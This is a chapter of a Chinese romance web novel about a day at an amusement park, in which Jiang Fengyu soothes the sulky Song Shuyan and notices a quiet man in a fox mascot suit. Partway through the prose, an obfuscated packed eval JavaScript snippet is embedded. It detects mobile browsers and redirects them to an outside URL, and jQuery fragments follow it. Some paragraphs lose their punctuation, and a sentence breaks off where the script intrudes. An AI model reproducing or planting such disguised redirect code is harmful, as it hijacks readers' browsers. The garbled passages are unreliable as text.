第 146 章 衰运omega(四十一)
作品:《攻略失败,但修罗场》 第146章衰运omega(四十一)
【游乐园烦人精纪事】
六月二十三,星期日,天气明朗。
满目眼花缭乱的气球和毛绒耳饰四处乱窜,不知谁买来的高配水枪出了故障,不受控地连炮开火,呲溜呲溜往黏粥一样质地浓稠的人群中扫射,人口密度摆在那里,拦是拦不住,躲也躲不开。
宋舒延的脸眼见着垮下来,不爽地扯着被呲湿一角的衣摆又擦又拧,其实那只是很小一块,他却如临大敌。
“没事的,一点点而已。
她不讲还好,一讲到太阳,宋舒延不满更甚。
“你把我叫出来那么急,我什么都没来得及准备。宋舒延自暴自弃地放开衣摆,没忘抹平拧出的褶皱,手掌堪堪挡在额前,隔着墨镜投来的视线似乎都带着幽怨,“太阳好大,我不想玩了。
蒋逢玉警惕起来,目前为止手册内嵌丝绒软盒里只别着三块项目的代表徽章,距离结束可称得上遥远。
宋舒延起初还算心情不错,去黄金海滩玩冲浪体验和扮海盗俘虏时都挺高兴,进恐龙世纪园区也买了纪念品照了自拍九连,路上遇到粉丝要签名合影都没拒绝,可见问题就出在后一程的云朵工厂。
云朵工厂场馆很大,分参观展览和实操体验两部分,蒋逢玉买的通用票,所有大大小小无关紧要的活动都包含在内,宋舒延对制云感兴趣,兴致勃勃拉她一起去做手工,谁也没想到他手笨到那种程度,每一道工艺都出错,雷雨云变成凝不成形的水汽,孤零零地挂在蒸馏管壁。
制云失败,心情不虞,蒋逢玉见形势不妙,想着抢救一下,干脆带他去做号称入门级(手残包会)的云朵慕斯。
成品歪歪扭扭但还能看,接待员说可以留下注模放馆内展览,宋舒延不肯,越看越满意,非要带走,出工厂没一百米,甜品盒被个尖叫着跑来跑去的小男孩撞翻,彻底报废。
总之,水狗的心情就这么变差了。
“玩就好好玩,嫌这嫌那是想干吗?蒋逢玉和气地挥了挥拳头,“再犯少爷病我就给你记一次违约。
宋舒延被短暂地震慑到,几分钟后,故态重萌。
气温太高,太阳好晒,水枪漏水,游客超多,室外恒温制冷器的作用约近于零,所有的一切都值得挑剔。
“我哪里是在发脾
气?”宋舒延振振有词“你滥用职权小心我也给你记违约。”
不知道这人在乱讲什么。
蒋逢玉听他唧唧歪歪听到耳朵起茧子好在早已练就左耳进右耳出之神技老神在在地翻弄地图装聋子按智能导览提示向下一个项目进发。
宋舒延把自己说到嘴累半天也没见蒋逢玉有安慰他的意思又被气到走了半道别别扭扭开口“现在去哪里?”
和她计较什么找个台阶下算了宋舒延对自己说难道还指望这样一个横行霸道成习惯的人有同理心么。
蒋逢玉不会读心也不愿意把唯一一张读心术体验卡牌用在这种场合自然不知道宋舒延短短几分钟里想了点什么他问她就照常答把地图那一小块圈给他看“粉嘴老鼠火箭飞船。”
怪到不能再怪的名字。
硬到不能再硬的项目。
宋舒延睁着眼张嘴灌风他有点发晕可能吃下去太多风可能大脑缺氧头发被极速下降又攀升的对冲气流乱作造型他难得没去计较这些混在人群里小声欢呼。
蒋逢玉仰着头专注地去看天有一圈云被染成金橘色
身边的人再怎么换发生的事再怎么变天还是一样的天到点上岗过点休工不去往后看也不要担心朝前会发生什么好像就没什么大不了。
从飞船上下来的时候穿着制服的船长给每个人发了老鼠徽章宋舒延郑重其事别在包带上效果有点像狗拿耗子。
蒋逢玉本来想嘲笑他但宋舒延一脸纯真无辜地问她在笑什么她莫名找回点良心悻悻闭了嘴。
宋舒延被一场人体火箭发射哄好午餐时难得没有挑剔连一向不肯喝的果味调制饮料都赏脸地要了一杯浅浅啜饮两口咂摸味。
“一般。”宋舒延中肯地发表主观点评“薄荷口味不如柠檬。”
蒋逢玉撑着脸打量他对于‘宋舒延做起正常人来正常得超乎想象’这一点颇感神奇“你要是一直这么乖就好了。”
宋舒延剧烈地咳呛起来她这一句话大概触了他逆鳞少爷病重重剜她一眼推开餐盘起身硬邦邦道:“我去趟洗手间。”
蒋逢玉结了帐瘫坐在皮质卡座内面朝窗外发呆牵着电控气球动物的小孩又哭又笑又跺脚头痛的都是家长情侣也不是全部腻在一起有些热恋情深也有些平淡如水抓着甜筒的人会比端着饮料杯的人
更加行色匆匆大约是因为化得太快。
独行的人很少几乎找不出几个没有同行人的游客游乐场好像天生不适合落单者孤独夹在快乐中会被放大百倍。
蒋逢玉漫无目的地视察在某个时间节点眼珠像被吸住的磁石牢牢粘在窗外正对面那棵树下站着的男人身上。
他的头发很短只有浅浅一层在斑驳的树影下泛着浅金色五官凌厉哪一处都尖锐没一点圆钝收拢的意思。
他套着一身九尾狐卡通玩偶套装头套趁着休息时间取下随意地侧放在长椅上夸张的微笑表情和他本人形成鲜明的反差只有长而阔的狐状眼算得上适配。
蒋逢玉盯着他看了很一会儿始终没想得起来晋留宁的这套马甲皮专用名是什么。
顾名尧给她的那份档案里有提及游乐园兼职生吗?
晋留宁也许察觉到她的注视迟钝地转过头来蒋逢玉想他绝不会记得一个在画廊有过一面之缘的宾客而他向后退了几步坐下伸手取来传单顺着边缘整理好慢吞吞开始翻折堆叠复杂的造型。
直到宋舒延从洗手间回来直到蒋逢玉离开那家身处大外环线正中的餐厅晋留宁还是坐在那里动也没有动安安静静地折他的传单。
他看起来很沉闷很无趣完全像是面对面两小时只能说出‘嗯’、‘好’、‘随便’、‘都行’这种类型。
这样想一想从靳辞危到展明扬再到詹麒匀无一例外都话不多。
蒋逢玉的思绪被伸到面前的手掌挥乱宋舒延因为被冷落所以皱眉“是你叫我来玩不和我说话是什么意思?”
“没有不和你说话。”蒋逢玉狡辩手伸进包里去摸集章手册翻找无果心里一坠。
“在这里等就好我落了东西回去一趟。”她叮嘱宋舒延迈步快跑着原路折返。
宋舒延迷茫地站在原地片刻片刻后低下头鞋底碾住颗烦人的石子他打算把它当作蒋逢玉踢开、赶走来回拨弄两下鬼使神差地蹲下身捡起来。
蒋逢玉预设了最坏的可能性:集章手册失踪已有的徽章统统消失而宋舒延死活不愿意再玩一遍已经去过的项目这一天的日常任务又得作废。
好在耽搁的时间不长发现得及时餐厅也够人性化替离桌的客人将遗漏的物品临时保管起来蒋逢玉没费什么力气就拿回了集章手册那几枚徽章安分地躺在里面一枚都没有少。
和来时唯一的区别是
叠成的棠花。
卡通人偶早就已经不在原处。
“除我和我的同伴外,还有谁碰过这些吗?”蒋逢玉问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15192192|122537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“有人在我的遗失物中放了这个。”
餐厅接待员一脸歉意,“抱歉,女士,我没注意到有您描述的情况发生。”
蒋逢玉没再多问,她想把这当作一桩无关紧要的小插曲,但晋留宁似乎毫无征兆地盯上了她,这猜测让她下意识保持警惕。
和宋舒延再次碰头时,他一副做怪事被抓包的样子把手里的不明物体丢开,心虚地转移视听:“取什么东西要这么久?”
“找东西花了点时间。”蒋逢玉甩甩头,摊开手册,朝宋舒延指指下一个项目,“你应该会喜欢。”
宋舒延说不准她自作主张推断他的喜好,不知道又中什么邪,蒋逢玉习以为常,当作没听到。
事实证明,任何能飞上天的,这狗人都喜欢,摇摆老虎锤和百米腾空旋转木马甚至连着坐了三四次。
“小的时候,我没什么玩的时间,游乐园也很少来。”坐进99落日模拟器后,宋舒延扒着窗沿向外看,“即使来了,因为我爸觉得这类设施都不够安全,所以全部不能试。”
四周光幕墙被渲染到流光溢彩,遥不可及的傍晚落日被投影设施抓来,晃悠悠悬挂在头顶,伸手就能碰到。
“你觉得它像什么?”
宋舒延这么问,掸指弹开那轮橘色落日,它消失在光幕缝隙内,几秒后,又从另一个截然相反的角落爬出来,抖掉身上沾上的灰尘,毫不计较地继续发光发热。
蒋逢玉想了想,说:“橘子味的甜筒球。”
宋舒延用一言难尽的表情看她,“……你脑子里有没有一点点浪漫细胞?”
蒋逢玉想了想,改正道:“气泡水味的甜筒球。”
宋舒延哑口无言。
“哪有气泡水味的甜筒球?”他质问,“还有,你敢说你不是在口头骚扰我?”
老天在上。
她只是想不动脑子地讨个巧而已。
也许是因为临近结束,也许是离地面上的烦恼很远,蒋逢玉放松下来,懒得和宋舒延计较,她盯着计数器上的落日攀顶数慢慢叠加,升到95时,她冷不丁开口。
“人家说一起看过99次落日就算真朋友,这应该也算数。”蒋逢玉说,“我觉得我俩做朋友做得还蛮不错的,你觉得呢?”
宋舒延被问得一愣,迟迟没给出答案。
在照相角拍认证照时,他还保持着神游天外的表情,摄影师三番两次指点蒋逢玉和他摆造型,一会儿说让女方笑得真诚开心一点,一会儿说让男方别离那么远,看起来一点都不亲密。
蒋逢玉被烦得没办法,干脆靠过去,手背不甚贴到他的指尖,肩膀挨得太近,她又闻到宋舒延身上那股似有若无的寡淡气味。
快门闪光亮起的同一瞬间,宋舒延下意识屏住呼吸,伸直手臂搭住她的肩膀,他也不知道自己怎么想的,生硬地丢给她一个毫不相干的回答。
“你和多少朋友一起拍过这种合影?”
简直是送分题。
蒋逢玉没带停顿地说:“只有你。”
宋舒延伸手把包带上每一枚徽章都摆正,摆正以后又颠倒位置,看起来很忙,但是不知道在忙什么。
到校门口分开前,宋舒延下了车,走出几步路,转身回来敲敲车窗,蒋逢玉问他什么事,他抓了抓头发,说:
“你做朋友是做得还行。”
“但你老是不听我说话。”宋舒延又提到这一茬,很认真地抱怨,“而且什么叫我要是一直这么乖就好了?”
他轻哧一声,话都没说到头,转身走了,越走越快,好像有谁会追上来把他暴打一顿。
作者有话要说